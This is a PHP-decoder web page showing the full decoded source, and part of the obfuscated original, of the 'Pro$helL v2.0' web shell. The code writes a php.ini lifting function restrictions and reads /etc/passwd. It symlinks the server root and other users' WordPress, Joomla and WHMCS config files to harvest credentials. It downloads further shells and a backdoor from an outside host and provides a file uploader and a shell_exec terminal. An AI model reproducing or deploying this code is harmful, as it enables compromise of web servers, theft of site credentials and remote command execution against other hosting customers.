Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php ${"\x47LO\x42\x41\x4c\x53"}["\x6e\x78\x65\x6b\x79\x71\x6a\x68\x67"]="h\x65ad";${"\x4..

Decoded Output download

<?php ${"GLOBALS"}["nxekyqjhg"]="head";${"GLOBALS"}["ucftnuck"]="head";${"GLOBALS"}["zbzgolo"]="rr";${${"GLOBALS"}["nxekyqjhg"]}="
<html>
<head>
</script>
<title>Pro\$helL v2.0</title>
<meta http-equiv=\"Content-Type\" content="text/html; charset=UTF-8\">
<STYLE>
textarea{background-color:#105700;color:lime;font-weight:bold;font-size: 20px;font-family: Tahoma; border: 1px solid #000000;}
input{FONT-WEIGHT:normal;background-color: #105700;font-size: 15px;font-weight:bold;color: lime; font-family: Tahoma; border: 1px solid #666666;height:20}
body {
font-family: Tahoma
}
tr {
BORDER: dashed 1px #333;
color: #FFF;
}
td {
BORDER: dashed 1px #333;
color: #FFF;
}
.table1 {
BORDER: 0px Black;
BACKGROUND-COLOR: Black;
color: #FFF;
}
.td1 {
BORDER: 0px;
BORDER-COLOR: #333333;
font: 7pt Verdana;
color: Green;
}
.tr1 {
BORDER: 0px;
BORDER-COLOR: #333333;
color: #FFF;
}
table {
BORDER: dashed 1px #333;
BORDER-COLOR: #333333;
BACKGROUND-COLOR: Black;
color: #FFF;
}
input {
border			: dashed 1px;
border-color		: #333;
BACKGROUND-COLOR: Black;
font: 8pt Verdana;
color: Red;
}
select {
BORDER-RIGHT:  Black 1px solid;
BORDER-TOP:    #DF0000 1px solid;
BORDER-LEFT:   #DF0000 1px solid;
BORDER-BOTTOM: Black 1px solid;
BORDER-color: #FFF;
BACKGROUND-COLOR: Black;
font: 8pt Verdana;
color: Red;
}
submit {
BORDER:  buttonhighlight 2px outset;
BACKGROUND-COLOR: Black;
width: 30%;
color: #FFF;
}
textarea {
border			: dashed 1px #333;
BACKGROUND-COLOR: Black;
font: Fixedsys bold;
color: #999;
}
BODY {
	SCROLLBAR-FACE-COLOR: Black; SCROLLBAR-HIGHLIGHT-color: #FFF; SCROLLBAR-SHADOW-color: #FFF; SCROLLBAR-3DLIGHT-color: #FFF; SCROLLBAR-ARROW-COLOR: Black; SCROLLBAR-TRACK-color: #FFF; SCROLLBAR-DARKSHADOW-color: #FFF
margin: 1px;
color: Red;
background-color: Black;
}
.main {
margin			: -287px 0px 0px -490px;
BORDER: dashed 1px #333;
BORDER-COLOR: #333333;
}
.tt {
background-color: Black;
}

A:link {
	COLOR: White; TEXT-DECORATION: none
}
A:visited {
	COLOR: White; TEXT-DECORATION: none
}
A:hover {
	color: Red; TEXT-DECORATION: none
}
A:active {
	color: Red; TEXT-DECORATION: none
}
</STYLE>
<script language='javascript'>
function hide_div(id)
{
  document.getElementById(id).style.display = 'none';
  document.cookie=id+'=0;';
}
function show_div(id)
{
  document.getElementById(id).style.display = 'block';
  document.cookie=id+'=1;';
}
function change_divst(id)
{
  if (document.getElementById(id).style.display == 'none')
    show_div(id);
  else
    hide_div(id);
}
</script>";${"GLOBALS"}["kfqdtfgbzul"]="cmd";${"GLOBALS"}["ospdiyrqry"]="b";echo "
<html>
	<head>
		";${"GLOBALS"}["isgjgaww"]="rs";${"GLOBALS"}["ubvxbtteeif"]="pro";${"GLOBALS"}["fthhuogrzod"]="r";${"GLOBALS"}["xaftzmy"]="link";echo${${"GLOBALS"}["ucftnuck"]};${"GLOBALS"}["kdrgvows"]="usr";${"GLOBALS"}["ilckvgea"]="str";echo"
<table width="100%" cellspacing=\"0\" cellpadding="0\" class=\"tb1\" >
<td width="100%\" align=center valign=\"top" rowspan=\"1\"><hr color=\"red\">
<img src="http://i.imgur.com/rKSf7.png"><hr color="red\"><font color=\"red\" size="5"><i>
<b>Pro\$helL v2.0 by <a href="http://www.procoderz.com/\">Procoderz Team Albanian </b><br>
</a><hr color=\"red"></i>
</table>
";${"GLOBALS"}["spqktterese"]="f";${"GLOBALS"}["iftpafirsgm"]="g";${"GLOBALS"}["decrzw"]="file";${"GLOBALS"}["vgpinljibsa"]="us";${"GLOBALS"}["rpmzgw"]="uss";${"GLOBALS"}["vnybsal"]="rt";${"GLOBALS"}["cenwvsrvkm"]="user";${"GLOBALS"}["tahnxyj"]="cmd";${"GLOBALS"}["ubhxivuufcy"]="configuration";echo "
<center>
<font face="Verdana" size=\"1" font color=red>./config k1ller</font></center>
<br>
<form method=post><font size=2 face="TAHOMA" color="white\">To Generate PHP.ini Click the button below</font><br>
<input type=submit name=ini value=\"Generate PHP.ini" /></form>
<form method=post><font size=2 face=\"TAHOMA\" color=\"white\">To Check The Smylink Dump Click the button below</font><br>
	<input type=submit name=\"usre\" value=\"use to Extract usernames" /></form>
	";if(isset($_POST["ini"])){${"GLOBALS"}["znkbzmom"]="r";$fmlowbimo="rr";${${"GLOBALS"}["znkbzmom"]}=fopen("php.ini","w");${${"GLOBALS"}["zbzgolo"]}=" disbale_functions=none ";fwrite(${${"GLOBALS"}["fthhuogrzod"]},${$fmlowbimo});${${"GLOBALS"}["xaftzmy"]}="<a href=php.ini><font color=white size=2 face=\"TAHOMA\"><u><font color=red>DONE</font> Open this link in new tab to run PHP.INI</u></font></a>";echo${${"GLOBALS"}["xaftzmy"]};}${"GLOBALS"}["ljbqypjlee"]="users";echo "
";if(isset($_POST["usre"])){${"GLOBALS"}["mirncvufy"]="user";echo "<form method=post>
	<textarea rows=10 cols=50 name=user>";${${"GLOBALS"}["ljbqypjlee"]}=file("/etc/passwd");foreach(${${"GLOBALS"}["ljbqypjlee"]} as${${"GLOBALS"}["mirncvufy"]}){$qetgtrlhc="str";${$qetgtrlhc}=explode(":",${${"GLOBALS"}["cenwvsrvkm"]});echo${${"GLOBALS"}["ilckvgea"]}[0]."
";}echo "
</textarea><br><br>
	<input type=submit name=su value="Click Here To Start" /></form>
	";}echo "
	";error_reporting(0);echo"<font color=red size=2 face="TAHOMA">";if(isset($_POST["su"])){${"GLOBALS"}["vktbyvwy"]="consym";mkdir("pro",0777);${"GLOBALS"}["vqbchljsp"]="rr";${${"GLOBALS"}["zbzgolo"]}=" Options all 
 DirectoryIndex Sux.html 
 AddType text/plain .php 
 AddHandler server-parsed .php 
  AddType text/plain .html 
 AddHandler txt .html 
 Require None 
 Satisfy Any";${${"GLOBALS"}["iftpafirsgm"]}=fopen("pro/.htaccess","w");fwrite(${${"GLOBALS"}["iftpafirsgm"]},${${"GLOBALS"}["vqbchljsp"]});${${"GLOBALS"}["ubvxbtteeif"]}=symlink("/","pro/root");$yjvmilbw="configuration";${${"GLOBALS"}["vnybsal"]}="<a href=pro/root><font color=white size=3 face=\"TAHOMA"> r00t</font></a>";echo"Check link given below for / folder root symlink <br><u>$rt</u>";${"GLOBALS"}["wrxagqnkgm"]="dir";${${"GLOBALS"}["wrxagqnkgm"]}=mkdir("PRO",0777);$wtqrgvsc="usr";${${"GLOBALS"}["fthhuogrzod"]}=" Options all 
 DirectoryIndex Sux.html 
 AddType text/plain .php 
 AddHandler server-parsed .php 
  AddType text/plain .html 
 AddHandler txt .html 
 Require None 
 Satisfy Any";${${"GLOBALS"}["spqktterese"]}=fopen("PRO/.htaccess","w");fwrite(${${"GLOBALS"}["spqktterese"]},${${"GLOBALS"}["fthhuogrzod"]});${${"GLOBALS"}["vktbyvwy"]}="<a href=PRO/><font color=white size=3 face="TAHOMA">Symlink</font></a>";echo"<br>Check the link given below for / folder config symlink <br><u><font color=red size=2 face=\"TAHOMA\">$consym</font></u>";${$wtqrgvsc}=explode("
",$_POST["user"]);${$yjvmilbw}=array("wp-config.php","wordpress/wp-config.php","configuration.php","blog/wp-config.php","joomla/configuration.php","site/wp-config.php","site/configuration.php","cms/configuration.php","vb/includes/config.php","includes/config.php","conf_global.php","inc/config.php","config.php","Settings.php","sites/default/settings.php","whm/configuration.php","whmcs/configuration.php","support/configuration.php","whmc/WHM/configuration.php","whm/WHMCS/configuration.php","whm/whmcs/configuration.php","support/configuration.php","clients/configuration.php","client/configuration.php","clientes/configuration.php","cliente/configuration.php","clientsupport/configuration.php","billing/configuration.php","admin/config.php","adm/config.php","cms/config.php");foreach(${${"GLOBALS"}["kdrgvows"]} as${${"GLOBALS"}["rpmzgw"]}){$llkieinfybyy="c";${"GLOBALS"}["yqtjslmvxxnp"]="uss";${${"GLOBALS"}["vgpinljibsa"]}=trim(${${"GLOBALS"}["yqtjslmvxxnp"]});foreach(${${"GLOBALS"}["ubhxivuufcy"]} as${$llkieinfybyy}){${"GLOBALS"}["lsmlblp"]="rs";${"GLOBALS"}["uhapmdny"]="c";$rovrbnw="c";${"GLOBALS"}["qextettp"]="us";${${"GLOBALS"}["isgjgaww"]}="/home/".${${"GLOBALS"}["qextettp"]}."/public_html/".${${"GLOBALS"}["uhapmdny"]};${${"GLOBALS"}["fthhuogrzod"]}="PRO/".${${"GLOBALS"}["vgpinljibsa"]}." .. ".${$rovrbnw};symlink(${${"GLOBALS"}["lsmlblp"]},${${"GLOBALS"}["fthhuogrzod"]});}}}echo "
<hr color=\"red\">
<p align=\"center\" dir="ltr\"> 
<font face=\"Verdana" size="1" font color=red>./tools</font></center><br>
<font color=\"red\" font size=3 > // <font color=\"white\" font size=3 >
<a href="?a=jic" style=\"text-decoration: none\">
Joomla Index Changer </a> <font color=\"white" font size=3 > <font color="red" font size=3 >/ </font> 
<a href="?a=wic\" style=\"text-decoration: none\">
Wordpress Index Changer </a> <font color=\"white\" font size=3 > <font color="red\" font size=3 >/ </font> 
<a href="?a=cp\" style="text-decoration: none">
Cpanel Cracker </a> <font color=\"white\" font size=3 > <font color="red\" font size=3 >/ </font> 
<a href="?a=sql\" style=\"text-decoration: none\">
Sql Scanner </a> <font color="white\" font size=3 > <font color="red" font size=3 >/ </font> 
<a href=\"?a=jb" style=\"text-decoration: none">
Joomla Bruter </a> <font color=\"white\" font size=3 ></font> 
<font color="red\" font size=3 > // </font> 
<br>
<font color="red" font size=3 > // </font> 
<a href="?a=b4ck" style="text-decoration: none">
Backdoor </a> <font color=\"white\" font size=3 > <font color="red\" font size=3 >/ </font> 
<a href=\"?a=jss\" style=\"text-decoration: none\">
Joomla Server Scanner </a> <font color="white\" font size=3 > <font color="red" font size=3 >/ </font> 
<a href=\"?a=wss\" style=\"text-decoration: none">
Wordpress Server Scanner </a> <font color=\"white" font size=3 > <font color=\"red\" font size=3 >/ </font> 
<a href=\"?a=adm\" style="text-decoration: none">
Admin Finder </a> <font color="white\" font size=3 > <font color="red\" font size=3 >/ </font> 
<a href=\"?a=s4s" style=\"text-decoration: none\">
Shell Finder </a> <font color="white" font size=3 > <font color=\"red\" font size=3 >/ </font> 
</td>
";if($_GET[a]=="jic"){$pwxnnlmyn="b";${${"GLOBALS"}["decrzw"]}=file_get_contents("http://dropdebthelp.com/joomlaindexchanger.txt");${$pwxnnlmyn}=fopen("jic.php","w");$sluloqvv="b";fwrite(${${"GLOBALS"}["ospdiyrqry"]},${${"GLOBALS"}["decrzw"]});fclose(${$sluloqvv});print"<br><center><h3><font color="white\">Done Shell Name <a href="jic.php"><font color=red>jic.php</font></a> </h1> ";}if($_GET[a]=="wic"){$hqnibx="file";$hesobxxnmrt="b";${"GLOBALS"}["dgibxvtup"]="b";${$hqnibx}=file_get_contents("http://dropdebthelp.com/wordpressindexchanger.txt");${${"GLOBALS"}["dgibxvtup"]}=fopen("wic.php","w");fwrite(${${"GLOBALS"}["ospdiyrqry"]},${${"GLOBALS"}["decrzw"]});fclose(${$hesobxxnmrt});print"<br><center><h3><font color=\"white">Done Shell Name <a href="wic.php"><font color=red>wic.php</font></a> </h1> ";}if($_GET[a]=="cp"){$nupprxqjt="file";${$nupprxqjt}=file_get_contents("http://dropdebthelp.com/cpbt.txt");$tqetupm="b";${${"GLOBALS"}["ospdiyrqry"]}=fopen("cp.php","w");fwrite(${$tqetupm},${${"GLOBALS"}["decrzw"]});fclose(${${"GLOBALS"}["ospdiyrqry"]});print"<br><center><h3><font color="white">Done Shell Name <a href=\"cp.php"><font color=red>cp.php</font></a> </h1> ";}if($_GET[a]=="sql"){$abdcxgfiolo="b";${${"GLOBALS"}["decrzw"]}=file_get_contents("http://dropdebthelp.com/sqlscan.txt");${"GLOBALS"}["mosjssq"]="b";${"GLOBALS"}["nijuyjvco"]="file";${$abdcxgfiolo}=fopen("sqlscan.php","w");fwrite(${${"GLOBALS"}["mosjssq"]},${${"GLOBALS"}["nijuyjvco"]});fclose(${${"GLOBALS"}["ospdiyrqry"]});print"<br><center><h3><font color="white">Done Shell Name <a href=\"sqlscan.php"><font color=red>sqlscan.php</font></a> </h1> ";}if($_GET[a]=="jb"){$ntkghaujnht="file";${"GLOBALS"}["aofjkb"]="b";${${"GLOBALS"}["decrzw"]}=file_get_contents("http://dropdebthelp.com/joomlabrute.txt");${${"GLOBALS"}["aofjkb"]}=fopen("jb.php","w");fwrite(${${"GLOBALS"}["ospdiyrqry"]},${$ntkghaujnht});fclose(${${"GLOBALS"}["ospdiyrqry"]});print"<br><center><h3><font color=\"white\">Done Shell Name <a href="jb.php\"><font color=red>jb.php</font></a> </h1> ";}if($_GET[a]=="b4ck"){$kejemadbmzr="b";${"GLOBALS"}["lrimwnyebsb"]="b";${${"GLOBALS"}["decrzw"]}=file_get_contents("http://dropdebthelp.com/b4ck.txt");${$kejemadbmzr}=fopen("b4ck.php","w");fwrite(${${"GLOBALS"}["ospdiyrqry"]},${${"GLOBALS"}["decrzw"]});fclose(${${"GLOBALS"}["lrimwnyebsb"]});print"<br><center><h3><font color="white">Done Shell Name <a href=\"b4ck.php"><font color=red>b4ck.php</font></a> </h1> ";}if($_GET[a]=="jss"){$ngwmuzvr="file";${${"GLOBALS"}["decrzw"]}=file_get_contents("http://dropdebthelp.com/jss.txt");${${"GLOBALS"}["ospdiyrqry"]}=fopen("jss.php","w");fwrite(${${"GLOBALS"}["ospdiyrqry"]},${$ngwmuzvr});fclose(${${"GLOBALS"}["ospdiyrqry"]});print"<br><center><h3><font color=\"white\">Done Shell Name <a href=\"jss.php\"><font color=red>jss.php</font></a> </h1> ";}if($_GET[a]=="wss"){$nwlixijyaks="file";${"GLOBALS"}["mfnmkb"]="b";${"GLOBALS"}["othryo"]="b";${${"GLOBALS"}["decrzw"]}=file_get_contents("http://dropdebthelp.com/wss.txt");${${"GLOBALS"}["othryo"]}=fopen("wss.php","w");fwrite(${${"GLOBALS"}["mfnmkb"]},${$nwlixijyaks});${"GLOBALS"}["stdrhfcyff"]="b";fclose(${${"GLOBALS"}["stdrhfcyff"]});print"<br><center><h3><font color=\"white">Done Shell Name <a href="wss.php\"><font color=red>wss.php</font></a> </h1> ";}if($_GET[a]=="adm"){${"GLOBALS"}["qrhconeg"]="file";$nugshdc="file";$ukhwtexfevw="b";$twqawmqdk="b";${${"GLOBALS"}["qrhconeg"]}=file_get_contents("http://dropdebthelp.com/adm.txt");${$ukhwtexfevw}=fopen("adm.php","w");fwrite(${${"GLOBALS"}["ospdiyrqry"]},${$nugshdc});fclose(${$twqawmqdk});print"<br><center><h3><font color=\"white\">Done Shell Name <a href=\"adm.php\"><font color=red>adm.php</font></a> </h1> ";}if($_GET[a]=="s4s"){$iotflomwy="b";$cwxipdcie="b";${${"GLOBALS"}["decrzw"]}=file_get_contents("http://dropdebthelp.com/shellfinder.txt");${${"GLOBALS"}["ospdiyrqry"]}=fopen("shellfinder.php","w");fwrite(${$iotflomwy},${${"GLOBALS"}["decrzw"]});fclose(${$cwxipdcie});print"<br><center><h3><font color="white">Done Shell Name <a href="shellfinder.php"><font color=red>shellfinder.php</font></a> </h1> ";}echo"<font face="Verdana" size=\"2">

<center>Uname-a : <font color=\"#808080">".php_uname()."
<br><br>
";echo"
<table border=1 bordercolor=red>
<td width=550 height=28><center>
<font face="Verdana\" size="1" font color=red>./uploader</font></center><br>";echo"<center><form action=\"\" method="post\" enctype="multipart/form-data" name="uploader\" id="uploader\">";echo"<center><input type="file\" name="file" size="50\"><input name=\"_upl\" type=\"submit" id=\"_upl" value="Upload\"></form></center>";if($_POST["_upl"]=="Upload"){if(@copy($_FILES["file"]["tmp_name"],$_FILES["file"]["name"])){echo"<p align=\"center\"><font face="Verdana" size=\"1"><font color="white"> OK :)</font><br>";}else{echo"<font color=\"#FF0000\">Failed :( </font></p>
	</td></table></tr>
";}}$girrecerqv="cmd";echo "
</body>
<hr color="red\">
</html>
<table border=1 bordercolor=red>
<td width=550 height=28>
<html> 
<body text=red> <center><font size=1 font color=red>./terminal</font></center>
<form method=POST><pre>[pro@";echo$_SERVER["SERVER_NAME"];echo " ~] # <input type=TEXT name=\"-cmd\" size=64 value=\"";echo ${${"GLOBALS"}["kfqdtfgbzul"]};echo "\" 
style="font-family: Courier New;\"> 
</center>
";${$girrecerqv}=$_REQUEST["-cmd"];echo " 
";if(${${"GLOBALS"}["tahnxyj"]}!="")print Shell_Exec(${${"GLOBALS"}["tahnxyj"]});echo "
[<sy><a href=\"#top\">TOP</a></sy>]
</pre><hr color=\"red\"><center><font size=1>
Coded by <a href=\"http://www.facebook.com/root.procoderz">RetnOHacK</a> #Procoderz Team Albanian<br><a href="http://www.procoderz.com">www.procoderz.com</a></table></html>"; 
?>

Did this file decode correctly?

Original Code

<?php ${"\x47LO\x42\x41\x4c\x53"}["\x6e\x78\x65\x6b\x79\x71\x6a\x68\x67"]="h\x65ad";${"\x47L\x4fBA\x4c\x53"}["\x75c\x66\x74\x6eu\x63\x6b"]="\x68\x65\x61\x64";${"\x47\x4c\x4f\x42A\x4c\x53"}["\x7a\x62\x7a\x67o\x6co"]="\x72\x72";${${"G\x4c\x4fB\x41L\x53"}["\x6e\x78e\x6b\x79\x71j\x68\x67"]}="\n\x3ch\x74\x6dl>\n<\x68\x65\x61d\x3e\n</scri\x70t>\n\x3c\x74i\x74l\x65>P\x72\x6f\$h\x65\x6cL\x20\x76\x32.0\x3c/ti\x74\x6ce>\n\x3cme\x74\x61\x20h\x74\x74p-eq\x75\x69\x76\x3d\"Co\x6e\x74en\x74-T\x79p\x65\" \x63o\x6e\x74e\x6et=\x22t\x65x\x74/\x68\x74\x6d\x6c; \x63h\x61\x72\x73et\x3dU\x54F-\x38\">\n<ST\x59\x4cE>\nt\x65x\x74a\x72e\x61{back\x67rou\x6e\x64-c\x6f\x6c\x6fr:\x2310570\x30\x3bc\x6f\x6co\x72:lime\x3b\x66\x6f\x6e\x74-we\x69ght:bol\x64;fo\x6e\x74-s\x69z\x65: \x32\x30px;\x66\x6f\x6e\x74-\x66\x61\x6d\x69ly: \x54\x61\x68\x6fm\x61\x3b\x20bo\x72der:\x20\x31p\x78 so\x6cid \x230000\x300;}\n\x69np\x75t{F\x4f\x4eT-W\x45IGHT:\x6eor\x6d\x61\x6c;backgro\x75n\x64-col\x6fr:\x20\x23\x3105\x37\x300\x3b\x66\x6f\x6et-\x73\x69\x7ae: \x31\x35\x70x\x3b\x66ont-we\x69ght:\x62\x6fl\x64\x3bc\x6flor:\x20\x6c\x69\x6d\x65\x3b\x20\x66o\x6et-fam\x69l\x79:\x20Ta\x68\x6f\x6da;\x20\x62\x6f\x72der: 1px sol\x69\x64 \x23\x36\x36\x36\x3666;\x68\x65\x69gh\x74:20}\n\x62o\x64y\x20{\nfont-\x66\x61mi\x6c\x79:\x20\x54aho\x6d\x61\n}\n\x74\x72 {\nBORD\x45\x52: \x64\x61\x73\x68\x65\x64\x20\x31p\x78\x20\x23333\x3b\n\x63o\x6co\x72: \x23\x46\x46\x46;\n}\n\x74d\x20{\nB\x4f\x52\x44E\x52: da\x73\x68\x65d\x20\x31px \x23\x333\x33\x3b\ncolo\x72:\x20#F\x46\x46;\n}\n.t\x61bl\x651 {\n\x42OR\x44\x45\x52: \x30p\x78\x20Bla\x63k\x3b\nBACK\x47R\x4f\x55\x4eD-COL\x4f\x52:\x20\x42\x6ca\x63k;\nc\x6fl\x6fr:\x20#\x46\x46\x46\x3b\n}\n\x2e\x74\x64\x31 {\n\x42\x4fR\x44\x45\x52: \x30\x70x\x3b\n\x42\x4f\x52D\x45\x52-\x43\x4f\x4c\x4fR:\x20\x23\x33\x3333\x333\x3b\n\x66on\x74:\x20\x37p\x74 \x56erd\x61n\x61\x3b\n\x63\x6flor: \x47reen\x3b\n}\n\x2e\x74r\x31 {\n\x42\x4f\x52\x44\x45R: 0p\x78;\n\x42O\x52DER-CO\x4cO\x52:\x20#3\x3333\x333;\nc\x6flor:\x20#\x46F\x46\x3b\n}\nt\x61b\x6c\x65\x20{\n\x42\x4fR\x44\x45R: d\x61sh\x65d \x31\x70\x78\x20#33\x33;\n\x42OR\x44\x45\x52-\x43\x4f\x4c\x4f\x52: #\x3333\x3333\x3b\n\x42A\x43\x4b\x47R\x4fUN\x44-C\x4f\x4c\x4f\x52:\x20\x42lack;\n\x63\x6f\x6co\x72:\x20#\x46\x46\x46\x3b\n}\ni\x6e\x70\x75\x74 {\nb\x6fr\x64\x65r\t\t\t: da\x73h\x65d\x201p\x78;\nb\x6f\x72\x64e\x72-c\x6fl\x6fr\t\t:\x20\x2333\x33;\nB\x41CK\x47\x52O\x55\x4eD-\x43\x4fL\x4fR:\x20B\x6cack\x3b\n\x66o\x6et:\x20\x38\x70t\x20V\x65\x72\x64\x61\x6e\x61\x3b\n\x63\x6fl\x6fr: R\x65\x64\x3b\n}\ns\x65\x6c\x65c\x74 {\nB\x4fR\x44ER-RIGHT: \x20B\x6c\x61\x63\x6b 1p\x78\x20s\x6flid;\nBO\x52DER-TO\x50:\x20\x20\x20 #\x44F\x30\x30\x30\x30 1\x70x\x20s\x6f\x6c\x69\x64\x3b\nBO\x52\x44\x45\x52-\x4cE\x46T:\x20  #\x44\x4600\x30\x30 \x31\x70x \x73\x6fli\x64;\n\x42O\x52D\x45R-\x42\x4f\x54\x54OM: B\x6c\x61\x63k\x20\x31\x70x \x73\x6f\x6c\x69\x64\x3b\nBOR\x44ER-c\x6f\x6c\x6fr:\x20\x23\x46F\x46\x3b\nBA\x43K\x47R\x4f\x55ND-C\x4f\x4cOR:\x20\x42l\x61ck;\nf\x6fn\x74:\x208pt \x56e\x72\x64a\x6e\x61;\nc\x6f\x6cor: R\x65\x64\x3b\n}\n\x73u\x62\x6d\x69t {\nB\x4f\x52D\x45\x52:\x20 \x62\x75t\x74\x6f\x6e\x68i\x67hlig\x68t\x202p\x78\x20\x6f\x75\x74se\x74\x3b\nB\x41\x43KGROUN\x44-\x43\x4f\x4cOR:\x20\x42\x6c\x61ck\x3b\nwidt\x68: 30%\x3b\n\x63\x6fl\x6fr: #F\x46F;\n}\n\x74ex\x74\x61\x72\x65\x61\x20{\nb\x6frde\x72\t\t\t:\x20\x64ashe\x64\x20\x31px\x20\x23333;\nBACKGRO\x55\x4e\x44-\x43O\x4cOR: \x42\x6ca\x63\x6b\x3b\n\x66ont:\x20\x46i\x78\x65\x64\x73y\x73 bold;\n\x63\x6flo\x72:\x20#9\x39\x39\x3b\n}\nB\x4f\x44\x59\x20{\n\t\x53\x43\x52\x4f\x4cL\x42A\x52-\x46AC\x45-\x43OL\x4fR:\x20B\x6cac\x6b; \x53\x43\x52OLLB\x41\x52-\x48I\x47HLIGH\x54-c\x6f\x6c\x6f\x72: \x23\x46\x46F\x3b\x20\x53\x43\x52\x4fL\x4c\x42AR-SHAD\x4f\x57-c\x6fl\x6fr:\x20#\x46FF\x3b S\x43\x52O\x4cL\x42\x41R-\x33\x44\x4c\x49G\x48T-\x63ol\x6f\x72: \x23F\x46F\x3b\x20SC\x52\x4fLLB\x41\x52-\x41\x52R\x4fW-COLO\x52: \x42\x6c\x61\x63k;\x20\x53\x43ROL\x4c\x42AR-\x54R\x41CK-col\x6fr: #\x46F\x46;\x20\x53C\x52\x4f\x4cLB\x41R-DA\x52KSH\x41\x44\x4f\x57-\x63olo\x72: #\x46FF\nma\x72\x67i\x6e:\x201\x70\x78;\ncol\x6f\x72: R\x65\x64;\nba\x63\x6b\x67ro\x75nd-\x63\x6flo\x72:\x20B\x6c\x61\x63k;\n}\n\x2e\x6dain\x20{\nmarg\x69\x6e\t\t\t:\x20-\x328\x37px\x20\x30px \x30px -\x34\x39\x30\x70\x78;\n\x42\x4f\x52\x44\x45\x52:\x20d\x61\x73\x68e\x64\x20\x31px\x20\x23333\x3b\n\x42O\x52D\x45\x52-CO\x4cOR: #3\x3333\x33\x33\x3b\n}\n\x2ett {\n\x62a\x63k\x67\x72ound-co\x6c\x6f\x72:\x20\x42lack;\n}\n\n\x41:\x6cin\x6b\x20{\n\t\x43\x4fL\x4fR:\x20\x57h\x69t\x65;\x20T\x45\x58T-DE\x43\x4fRAT\x49\x4fN:\x20\x6eo\x6e\x65\n}\nA:v\x69\x73\x69\x74ed {\n\tC\x4f\x4c\x4f\x52:\x20\x57\x68\x69\x74e;\x20\x54EXT-DE\x43ORAT\x49O\x4e: \x6eo\x6e\x65\n}\nA:\x68\x6fv\x65\x72\x20{\n\t\x63olo\x72: \x52ed; T\x45X\x54-DEC\x4f\x52ATION:\x20no\x6e\x65\n}\n\x41:\x61\x63\x74\x69v\x65\x20{\n\t\x63\x6fl\x6f\x72: R\x65d\x3b TE\x58T-\x44E\x43O\x52\x41T\x49O\x4e:\x20no\x6ee\n}\n</\x53\x54Y\x4cE\x3e\n\x3cs\x63\x72\x69p\x74 lan\x67ua\x67e=\x27ja\x76asc\x72i\x70\x74'>\n\x66\x75\x6e\x63\x74\x69on hid\x65\x5f\x64\x69\x76(i\x64)\n{\n\x20\x20\x64\x6fcume\x6et\x2eg\x65tEle\x6d\x65\x6et\x42yId(id)\x2es\x74\x79\x6c\x65\x2edi\x73\x70\x6cay\x20= \x27\x6e\x6fne'\x3b\n\x20 d\x6f\x63\x75me\x6et.\x63o\x6f\x6b\x69\x65=\x69\x64+\x27\x3d0\x3b'\x3b\n}\nfu\x6e\x63ti\x6f\x6e s\x68\x6f\x77_d\x69v(\x69d)\n{\n\x20\x20do\x63\x75\x6de\x6e\x74.ge\x74\x45l\x65m\x65nt\x42y\x49d(id)\x2esty\x6ce.d\x69s\x70\x6ca\x79\x20= \x27bl\x6fc\x6b\x27;\n\x20 do\x63umen\x74.c\x6f\x6f\x6bi\x65=\x69d+\x27=1;';\n}\n\x66un\x63t\x69o\x6e\x20\x63h\x61n\x67e\x5f\x64i\x76\x73t(i\x64)\n{\n  \x69f\x20(d\x6f\x63ume\x6e\x74.\x67et\x45\x6c\x65mentById(id)\x2es\x74\x79\x6ce\x2edispl\x61y\x20=\x3d\x20\x27\x6eon\x65\x27)\n\x20 \x20 s\x68ow\x5f\x64\x69v(i\x64);\n  \x65\x6c\x73\x65\n   \x20h\x69\x64\x65\x5f\x64iv(\x69d)\x3b\n}\n</scr\x69p\x74>";${"\x47L\x4f\x42\x41L\x53"}["k\x66\x71\x64tf\x67\x62\x7a\x75\x6c"]="\x63m\x64";${"\x47L\x4f\x42\x41L\x53"}["\x6fs\x70\x64\x69\x79rq\x72\x79"]="b";echo "\n<\x68\x74m\x6c>\n\t\x3ch\x65ad\x3e\n\t\t";${"GL\x4f\x42\x41\x4c\x53"}["\x69\x73\x67j\x67\x61ww"]="r\x73";${"\x47\x4cO\x42\x41L\x53"}["\x75\x62v\x78btte\x65\x69\x66"]="\x70\x72\x6f";${"G\x4cOBAL\x53"}["\x66t\x68\x68\x75ogr\x7a\x6f\x64"]="\x72";${"G\x4c\x4f\x42\x41\x4c\x53"}["xaf\x74z\x6d\x79"]="\x6c\x69n\x6b";echo${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x75c\x66\x74\x6e\x75\x63\x6b"]};${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x6b\x64\x72\x67v\x6f\x77s"]="\x75s\x72";${"G\x4cOB\x41\x4c\x53"}["\x69\x6c\x63k\x76ge\x61"]="\x73t\x72";echo"\n\x3ct\x61\x62\x6ce w\x69d\x74h=\x221\x30\x30%\x22 cells\x70\x61c\x69\x6eg=\"0\" \x63el\x6c\x70\x61d\x64in\x67\x3d\x220\" \x63la\x73\x73=\"t\x62\x31\"\x20>\n<\x74\x64\x20wi\x64t\x68\x3d\x221\x30\x30%\"\x20\x61l\x69g\x6e=\x63e\x6ete\x72\x20\x76\x61l\x69gn\x3d\"top\x22\x20r\x6f\x77span\x3d\"1\">\x3c\x68r\x20\x63\x6f\x6cor\x3d\"\x72ed\">\n<i\x6d\x67 \x73r\x63=\x22h\x74t\x70://i\x2e\x69\x6dg\x75r.com/r\x4bSf\x37\x2e\x70n\x67\x22\x3e<h\x72 colo\x72=\x22\x72ed\"><\x66o\x6et\x20\x63\x6f\x6cor\x3d\"red\" siz\x65\x3d\x225\x22>\x3ci>\n\x3cb\x3ePro\$helL v\x32\x2e0\x20b\x79\x20\x3c\x61\x20h\x72\x65f\x3d\x22h\x74\x74\x70://\x77ww\x2ep\x72o\x63\x6fd\x65rz.co\x6d/\">\x50r\x6f\x63\x6fde\x72z \x54\x65\x61m Al\x62\x61n\x69an\x20\x3c/\x62\x3e<br>\n\x3c/\x61>\x3chr 